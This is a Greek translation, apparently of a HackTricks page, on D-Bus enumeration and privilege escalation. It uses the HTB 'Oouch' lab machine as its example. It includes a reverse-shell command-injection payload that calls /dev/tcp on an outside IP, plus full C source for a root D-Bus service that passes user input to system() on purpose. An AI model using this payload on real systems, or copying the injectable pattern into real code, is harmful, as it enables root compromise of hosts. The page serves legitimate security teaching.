Το D-Bus χρησιμοποιείται ως μεσολαβητής επικοινωνίας μεταξύ διεργασιών (IPC) στα περιβάλλοντα εργασίας Ubuntu. Στο Ubuntu, παρατηρείται η ταυτόχρονη λειτουργία αρκετών διαύλων μηνυμάτων: ο διαύλος του συστήματος, που χρησιμοποιείται κυρίως από υπηρεσίες με προνόμια για την εκθεση υπηρεσιών που αφορούν σε όλο το σύστημα, και ένας διαύλος συνεδρίας για κάθε συνδεδεμένο χρήστη, που εκθέτει υπηρεσίες που αφορούν μόνο τον συγκεκριμένο χρήστη. Ο εστίαση εδώ είναι κυρίως στον διαύλο του συστήματος λόγω της συσχέτισής του με υπηρεσίες που λειτουργούν με υψηλά προνόμια (π.χ., root) καθώς ο στόχος μας είναι η ανύψωση προνομίων. Σημειώνεται ότι η αρχιτεκτονική του D-Bus χρησιμοποιεί έναν 'δρομολογητή' ανά διαύλο συνεδρίας, ο οποίος είναι υπεύθυνος για την ανακατεύθυνση των μηνυμάτων των πελατών στις κατάλληλες υπηρεσίες με βάση τη διεύθυνση που καθορίζεται από τους πελάτες για την υπηρεσία με την οποία επιθυμούν να επικοινωνήσουν.
Οι υπηρεσίες στο D-Bus ορίζονται από τα αντικείμενα και τις διεπαφές που εκθέτουν. Τα αντικείμενα μπορούν να μοιάζουν με παραδείγματα κλάσεων σε τυπικές γλώσσες ΟΟΠ, με κάθε παράδειγμα να αναγνωρίζεται μοναδικά από ένα μονοπάτι αντικειμένου. Αυτό το μονοπάτι, παρόμοιο με ένα μονοπάτι αρχείουσυστήματος, αναγνωρίζει μοναδικά κάθε αντικείμενο που εκθέτεται από την υπηρεσία. Μια βασική διεπαφή για ερευνητικούς σκοπούς είναι η διεπαφή org.freedesktop.DBus.Introspectable, που περιλαμβάνει ένα μόνο μέθοδο, το Introspect. Αυτή η μέθοδος επιστρέφει μια XML αναπαράσταση των υποστηριζόμενων μεθόδων του αντικειμένου, σημάτων και ιδιοτήτων, με εστίαση εδώ στις μεθόδους ενώ παραλείπονται οι ιδιότητες και τα σήματα.
Για την επικοινωνία με τη διεπαφή D-Bus, χρησιμοποιήθηκαν δύο εργαλεία: ένα εργαλείο γραμμής εντολών με το όνομα gdbus για εύκολη εκκίνηση των μεθόδων που εκθέτει το D-Bus σε σενάρια, και το D-Feet, ένα εργαλείο GUI βασισμένο σε Python σχεδιασμένο για την απαρίθμηση των υπηρεσιών που είναι διαθέσιμες σε κάθε διαύλο και για την εμφάνιση των αντικειμένων που περιέχονται σε κάθε υπηρεσία.
Στην πρώτη εικόνα εμφανίζονται υπηρεσίες που έχουν καταχωρηθεί με το σύστημα διαχείρισης D-Bus, με το org.debin.apt να είναι ειδικά επισημασμένο μετά την επιλογή του κουμπιού Συστημικό Λεωφορείο. Το D-Feet ερωτά αυτήν την υπηρεσία για αντικείμενα, εμφανίζοντας διεπαφές, μεθόδους, ιδιότητες και σήματα για τα επιλεγμένα αντικείμενα, όπως φαίνεται στη δεύτερη εικόνα. Λεπτομερείες δίνονται επίσης για την υπογραφή κάθε μεθόδου.
Ένα χαρακτηριστικό είναι η εμφάνιση του ID διεργασίας (pid) και της γραμμής εντολών, χρήσιμα για την επιβεβαίωση εάν η υπηρεσία τρέχει με αυξημένα δικαιώματα, σημαντικό για τη σχετικότητα της έρευνας.
Το D-Feet επίσης επιτρέπει την κλήση μεθόδων: οι χρήστες μπορούν να εισάγουν εκφράσεις Python ως παραμέτρους, οι οποίες το D-Feet μετατρέπει σε τύπους D-Bus πριν τις περάσει στην υπηρεσία.
Ωστόσο, να σημειωθεί ότι κάποιες μεθόδοι απαιτούν πιστοποίηση πριν μας επιτρέψουν να τις καλέσουμε. Θα αγνοήσουμε αυτές τις μεθόδους, αφού ο στόχος μας είναι να αναβαθμίσουμε τα δικαιώματά μας χωρίς διαπιστευτήρια από την αρχή.
Επίσης, να σημειωθεί ότι μερικές από τις υπηρεσίες ερωτούν μια άλλη υπηρεσία D-Bus με το όνομα org.freedeskto.PolicyKit1 εάν ένας χρήστης πρέπει να επιτραπεί να εκτελέσει συγκεκριμένες ενέργειες ή όχι.
Απαρίθμηση Εντολών Cmd line
Λίστα Αντικειμένων Υπηρεσίας
Είναι δυνατόν να απαριθμηθούν οι ανοιχτές διεπαφές D-Bus με:
Από τη Wikipedia: Όταν ένας διεργασία δημιουργεί μια σύνδεση με ένα bus, το bus αναθέτει στη σύνδεση ένα ειδικό όνομα bus που ονομάζεται μοναδικό όνομα σύνδεσης. Τα ονόματα bus αυτού του τύπου είναι μεταβλητά - είναι εγγυημένο ότι δεν θα αλλάξουν όσο υπάρχει η σύνδεση - και, το σημαντικότερο, δεν μπορούν να επαναχρησιμοποιηθούν κατά τη διάρκεια της διάρκειας ζωής του bus. Αυτό σημαίνει ότι καμία άλλη σύνδεση σε αυτό το bus δεν θα έχει ποτέ ανατεθεί τέτοιο μοναδικό όνομα σύνδεσης, ακόμα και αν η ίδια διεργασία κλείσει τη σύνδεση με το bus και δημιουργήσει μια νέα. Τα μοναδικά ονόματα σύνδεσης είναι εύκολα αναγνωρίσιμα επειδή ξεκινούν με τον - διαφορετικά απαγορευμένο - χαρακτήρα άνω τελεία.
Πληροφορίες Αντικειμένου Υπηρεσίας
Στη συνέχεια, μπορείτε να λάβετε κάποιες πληροφορίες σχετικά με τη διεπαφή με:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Κατάλογος Διεπαφών ενός Αντικειμένου Υπηρεσίας
Χρειάζεστε επαρκή δικαιώματα.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Εξετάστε τη διεπαφή ενός αντικειμένου υπηρεσίας
Σημειώστε πώς σε αυτό το παράδειγμα επιλέχθηκε η πιο πρόσφατη διεπαφή που ανακαλύφθηκε χρησιμοποιώντας την παράμετρο tree (δείτε την προηγούμενη ενότητα):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Παρακολούθηση/Καταγραφή Διεπαφής
Με επαρκή δικαιώματα (απλά τα δικαιώματα send_destination και receive_sender δεν είναι αρκετά) μπορείτε να παρακολουθήσετε μια επικοινωνία D-Bus.
Αν γνωρίζετε πως να ρυθμίσετε ένα αρχείο ρυθμίσεων D-Bus για επιτροπή σε μη root χρήστες να καταγράφουν την επικοινωνία, παρακαλώ επικοινωνήστε μαζί μου!
Διαφορετικοί τρόποι παρακολούθησης:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
Στο παρακάτω παράδειγμα το interface htb.oouch.Block παρακολουθείται και το μήνυμα "lalalalal" στέλνεται μέσω παρανόησης:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Μπορείτε να χρησιμοποιήσετε το capture αντί για το monitor για να αποθηκεύσετε τα αποτελέσματα σε ένα αρχείο pcap.
Φιλτράρισμα όλου του θορύβου
Αν υπάρχει υπερβολικά πολλή πληροφορία στο δίκτυο, περάστε έναν κανόνα ταιριάσματος όπως εξής:
Ως χρήστης qtc μέσα στον υπολογιστή "oouch" από το HTB μπορείτε να βρείτε ένα αναπάντεχο αρχείο ρύθμισης D-Bus που βρίσκεται στο /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Σημείωση από την προηγούμενη διαμόρφωση ότι θα πρέπει να είστε ο χρήστης root ή www-data για να στείλετε και να λάβετε πληροφορίες μέσω αυτής της επικοινωνίας D-BUS.
Ως χρήστης qtc μέσα στο container docker aeb4525789d8 μπορείτε να βρείτε κάποιον κώδικα που σχετίζεται με το dbus στο αρχείο /code/oouch/routes.py. Αυτός είναι ο ενδιαφέρων κώδικας:
Όπως μπορείτε να δείτε, συνδέεται σε ένα διεπαφή D-Bus και στέλνει στη λειτουργία "Block" το "client_ip".
Απέναντι στη σύνδεση D-Bus υπάρχει ένας μεταγλωττισμένος δυαδικός κώδικας C που εκτελείται. Αυτός ο κώδικας ακούει στη σύνδεση D-Bus για διευθύνσεις IP και καλεί το iptables μέσω της λειτουργίας system για να μπλοκάρει τη δοθείσα διεύθυνση IP.
Η κλήση στην system είναι ευάλωτη εσκεμμένα σε εντολές εισβολής, έτσι ένα φορτίο όπως το παρακάτω θα δημιουργήσει ένα αντίστροφο κέλυφος: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Εκμεταλλευτείτε το
Στο τέλος αυτής της σελίδας μπορείτε να βρείτε τον πλήρη κώδικα C της εφαρμογής D-Bus. Μέσα σε αυτόν μπορείτε να βρείτε μεταξύ των γραμμών 91-97 πώς ο D-Bus object path και το όνομα διεπαφήςεγγράφονται. Αυτές οι πληροφορίες θα είναι απαραίτητες για να στείλετε πληροφορίες στη σύνδεση D-Bus:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Επίσης, στη γραμμή 57 μπορείτε να βρείτε ότι η μοναδική μέθοδος που έχει καταχωρηθεί για αυτή την επικοινωνία D-Bus ονομάζεται Block (Γι' αυτό στην επόμενη ενότητα τα φορτία δεδομένων θα σταλούν στο αντικείμενο υπηρεσίας htb.oouch.Block, τη διεπαφή /htb/oouch/Block και τη μέθοδο με όνομα Block):
Ο παρακάτω κώδικας Python θα στείλει το φορτίο στη σύνδεση D-Bus στη μέθοδο Block μέσω block_iface.Block(runme) (σημείωση ότι εξήχθη από το προηγούμενο τμήμα κώδικα):
Το dbus-send είναι ένα εργαλείο που χρησιμοποιείται για να στείλει μήνυμα στο "Message Bus".
Message Bus - Ένα λογισμικό που χρησιμοποιείται από τα συστήματα για να διευκολύνει τις επικοινωνίες μεταξύ εφαρμογών. Σχετίζεται με την Ουρά Μηνυμάτων (τα μηνύματα είναι ταξινομημένα σε ακολουθία), αλλά στο Message Bus τα μηνύματα στέλνονται με ένα μοντέλο συνδρομής και είναι επίσης πολύ γρήγορα.
Η ετικέτα "-system" χρησιμοποιείται για να αναφέρει ότι πρόκειται για ένα μήνυμα συστήματος, όχι ένα μήνυμα συνεδρίας (από προεπιλογή).
Η ετικέτα "--print-reply" χρησιμοποιείται για να εκτυπώσει το μήνυμά μας κατάλληλα και να λαμβάνει οποιεσδήποτε απαντήσεις σε μορφή ευανάγνωστη από ανθρώπους.
Η εντολή "--dest=Dbus-Interface-Block" είναι η διεύθυνση της διεπαφής Dbus.
Η εντολή "--string:" - Τύπος μηνύματος που θέλουμε να στείλουμε στη διεπαφή. Υπάρχουν διάφορες μορφές αποστολής μηνυμάτων όπως διπλό, bytes, booleans, int, objpath. Από αυτά, το "object path" είναι χρήσιμο όταν θέλουμε να στείλουμε τη διαδρομή ενός αρχείου στη διεπαφή Dbus. Μπορούμε να χρησιμοποιήσουμε ένα ειδικό αρχείο (FIFO) σε αυτήν την περίπτωση για να περάσουμε ένα εντολή στη διεπαφή με το όνομα ενός αρχείου. "string:;" - Αυτό είναι για να καλέσουμε ξανά τη διαδρομή του αντικειμένου όπου τοποθετούμε το αρχείο αντιστροφής κέλυφους FIFO.
Σημειώστε ότι στο htb.oouch.Block.Block, ο πρώτος μέρος (htb.oouch.Block) αναφέρεται στο αντικείμενο υπηρεσίας και το τελευταίο μέρος (.Block) αναφέρεται στο όνομα της μεθόδου.
Κώδικας C
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}
Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)
Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)
